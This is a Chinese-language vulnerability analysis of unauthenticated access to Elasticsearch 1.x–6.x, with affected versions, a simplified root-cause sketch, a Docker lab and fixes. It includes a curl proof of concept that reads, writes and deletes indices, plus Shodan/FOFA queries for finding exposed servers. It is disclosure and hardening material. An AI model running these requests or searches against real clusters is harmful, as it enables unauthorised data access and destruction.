一、漏洞简介¶
1.1 漏洞背景¶
Elasticsearch 是一个开源的分布式搜索引擎,广泛应用于日志分析、全文搜索、数据可视化等场景。早期版本(Elasticsearch 6.x 之前)默认不启用安全认证,任何人都可以通过 HTTP API 访问、查询甚至修改数据。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | 暂无统一编号 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | 未授权访问漏洞 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Elasticsearch 安全 |
- 漏洞类型: 认证绕过 / 未授权访问
- CVE ID: 无(默认配置问题)
- 危害等级: 高危
- CVSS 评分: 7.5+(取决于暴露程度)
- 发现时间: 长期存在,直到 Elasticsearch 7.0 开始重视
核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。
二、影响范围¶
2.1 受影响的版本¶
- Elasticsearch 1.x - 6.x 所有版本(默认未启用安全)
- Elasticsearch 7.x 早期版本(未配置安全)
2.2 不受影响的版本¶
- Elasticsearch 7.0+:自动生成密码(但需手动配置)
- Elasticsearch 8.0+:默认启用安全认证
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Elasticsearch 服务绑定在
0.0.0.0(所有网络接口) - 防火墙未限制 9200/9300 端口访问
- 未配置
xpack.security.enabled - 云环境暴露公网 IP
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Elasticsearch 通过 RESTful API 提供服务(默认 9200 端口)。早期版本没有内置认证机制,所有 HTTP 请求直接处理:
HTTP 请求 → Elasticsearch REST Controller → 数据操作
↑
无认证检查
攻击者可以直接访问:
- GET http://target:9200/ - 获取集群信息
- GET http://target:9200/_cat/indices - 列出所有索引
- POST http://target:9200/index/doc - 写入数据
- DELETE http://target:9200/index - 删除索引
3.2 源码层面的根因分析(结合源码与补丁对比)¶
// 早期版本的 RestController.java
public void dispatchRequest(RestRequest request, RestChannel channel) {
// 直接处理请求,无认证检查
RestHandler handler = getHandler(request);
if (handler != null) {
handler.handleRequest(request, channel);
}
}
现代版本(Elasticsearch 8.x):
// 添加了安全过滤器
public void dispatchRequest(RestRequest request, RestChannel channel) {
// 先检查认证
if (securityEnabled && !isAuthenticated(request)) {
sendAuthenticationChallenge(channel);
return;
}
// 然后处理请求
handler.handleRequest(request, channel);
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用 Docker 启动无认证的 Elasticsearch
docker run -d --name es-vulnerable \
-p 9200:9200 \
-e "discovery.type=single-node" \
-e "xpack.security.enabled=false" \
elasticsearch:6.8.0
4.2 PoC 演示与测试过程¶
# 1. 获取集群信息(无需认证)
curl http://target:9200/
# 响应示例:
{
"name" : "node-1",
"cluster_name" : "elasticsearch",
"version" : {
"number" : "6.8.0"
}
}
# 2. 列出所有索引
curl http://target:9200/_cat/indices?v
# 3. 创建索引并写入数据
curl -X PUT "http://target:9200/test_index/" -H 'Content-Type: application/json' -d'
{
"settings": {
"number_of_shards": 1
}
}'
# 4. 写入敏感数据
curl -X POST "http://target:9200/test_index/doc/1" -H 'Content-Type: application/json' -d'
{
"password": "secret123",
"credit_card": "4111111111111111"
}'
# 5. 删除整个索引
curl -X DELETE "http://target:9200/test_index/"
使用 Shodan/FOFA 搜索暴露的实例:
Shodan: port:9200 "You Know, for Search"
FOFA: title="Elasticsearch" && port="9200"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
- 升级到 Elasticsearch 8.x:默认启用安全认证
- 至少升级到 7.x:提供更好的安全支持
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:启用 X-Pack Security(Elasticsearch 6.x+)
# elasticsearch.yml
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
# 生成证书
./bin/elasticsearch-certutil ca
./bin/elasticsearch-certutil cert --ca elastic-stack-ca.p12
# 设置密码
./bin/elasticsearch-setup-passwords interactive
方案二:网络隔离
# iptables 规则
iptables -A INPUT -p tcp --dport 9200 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9200 -j DROP
# 或绑定到本地
# elasticsearch.yml
network.host: 127.0.0.1
方案三:使用反向代理认证
# Nginx 反向代理 + Basic Auth
server {
listen 9201;
location / {
auth_basic "Elasticsearch";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://127.0.0.1:9200;
}
}
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://www.elastic.co/guide/en/elasticsearch/reference/current/security-minimal-setup.html
6.2 其他技术参考资料¶
- http://target:9200/`
- http://target:9200/_cat/indices`
- http://target:9200/index/doc`
- http://target:9200/index`
- http://target:9200/
- http://target:9200/_cat/indices?v
- http://target:9200/test_index/"
- http://target:9200/test_index/doc/1"